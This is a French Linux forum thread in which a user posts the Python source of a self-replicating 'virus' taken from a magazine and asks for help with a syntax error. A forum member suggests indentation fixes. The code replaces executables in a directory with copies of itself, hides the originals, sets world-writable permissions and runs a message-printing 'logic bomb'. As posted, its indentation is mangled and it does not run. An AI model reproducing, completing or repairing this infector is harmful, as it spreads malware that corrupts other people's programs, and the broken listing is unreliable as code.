Contenu | Rechercher | Menus

Annonce

Si vous avez des soucis pour rester connecté, déconnectez-vous puis reconnectez-vous depuis ce lien en cochant la case
Me connecter automatiquement lors de mes prochaines visites.

À propos de l'équipe du forum.

#1 Le 24/02/2017, à 19:14

DebianMaster

[Résolu] Programmation en Python

Bonjour,
J'ai programmé un "virus" en Python, suite à l'article du magazine GNU/LINUX MAGAZINE FRANCE.
Le seul problème, c'est que le Terminal m'affiche cette erreur lors du lancement:

File "easy-install.py", line 33
    else:
       ^
SyntaxError: invalid syntax

Voici le code du fichier:

#!/usr/bin/python3
# === INFECTED ===
import os
import os.path
from sys import argv
import shutil
import stat
import random

cmd_init, cmd = ('ls', 'ls')
pathToCorrupt = '/home/clement/virus/my_bin/my_bin'
fileToCorrupt = pathToCorrupt + cmd

def isInfected(content) :
    return content == b'# === INFECTED ===\n'

def bomb():
    print ('BEAAAAAAAAAAH')

with open(fileToCorrupt, 'rb') as currentFile:
    ftcLines = currentFile.readlines()
    if isInfected (ftcLines[1]):
        filenames = os.listdir(pathToCorrupt)
    random.shuffle(filenames)
    for cmd in filenames:
        if cmd !=cmd_init and cmd[0] !='.':
            with open(pathToCorrupt + cmd,'rb') as newFile:
                 ftcLines = newFile.readlines()
if not isInfected(ftclines[1]):
                            fileToCorrupt=pathToCorrupt + cmd
                                                       
break 
else:
                                   print('All files already corrupted!') 
                                   exit(0)

#Debut de l'infection
try:
    print('Infection in progress : command', cmd)
    originalFile = pathToCorrupt + '.' + cmd
    shutil.move(fileToCorrupt, originalFile)
    shutil.copyfile(argv[0], fileToCorrupt)
    os.chmod(fileToCorrupt, stat.S_IXUSR| stat.S_IRUSR | stat.S_IWUSR | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH | stat.S_IROTH |stat.S_IWOTH)
except:
#Probleme lors de l'infection, on restitue les donnees initiales
    shutil.move(originalFile, fileToCorrupt)
    exit(1)

#Bombe logique
bomb()

# === ORIGINAL ===
# Execution du code original
try:
    if argv[0] != './easy-install.py':
        os.system('.' + os.path.basename(argv[0]) + ' '+' '.join(argv[1:]))
except:
    exit(2)

En espérant être aidé par votre communauté
DebianMaster

Dernière modification par DebianMaster (Le 24/02/2017, à 21:46)

Hors ligne

#2 Le 24/02/2017, à 20:06

pingouinux

Re : [Résolu] Programmation en Python

Bonsoir,
C'est parce que l'indentation n'est pas correcte (break et file doivent être au même niveau).

if not isInfected(ftclines[1]):
    fileToCorrupt=pathToCorrupt + cmd
    break
else:

Hors ligne

#3 Le 24/02/2017, à 20:18

DebianMaster

Re : [Résolu] Programmation en Python

Merci , je vais modifier cela.

Hors ligne

#4 Le 24/02/2017, à 20:21

DebianMaster

Re : [Résolu] Programmation en Python

Suite à la modification, le Terminal m'affiche

 File "easy-install.py", line 32
    break 
SyntaxError: 'break' outside loop

Que dois-je faire?

Hors ligne

#5 Le 24/02/2017, à 21:03

pingouinux

Re : [Résolu] Programmation en Python

Il faudrait vérifier avec le programme d'origine l'indentation de la séquence en #2. Il se peut qu'elle fasse partie de la boucle commençant par :

    for cmd in filenames:

.

Hors ligne

#6 Le 24/02/2017, à 21:08

DebianMaster

Re : [Résolu] Programmation en Python

Je n'ai pas très bien saisi là...

Hors ligne

#7 Le 24/02/2017, à 21:24

pingouinux

Re : [Résolu] Programmation en Python

Si tu as trouvé le programme dans Linux Magazine, vérifie-le.
Si tu l'as écrit toi-même, tu dois en connaître la logique et pouvoir le corriger.

Hors ligne

#8 Le 24/02/2017, à 21:36

DebianMaster

Re : [Résolu] Programmation en Python

Le seul problème, c'est que le magazine a affiché le code sur une partie de la page et du coup je ne sais pas ce qui doit être où parce qu'il n'a pas marqué le nombre d'espaces à faire...

Hors ligne

#9 Le 24/02/2017, à 21:39

DebianMaster

Re : [Résolu] Programmation en Python

C'est bon, problème résolu donc je vais revérifier tout ça. Merci de votre aide.

Hors ligne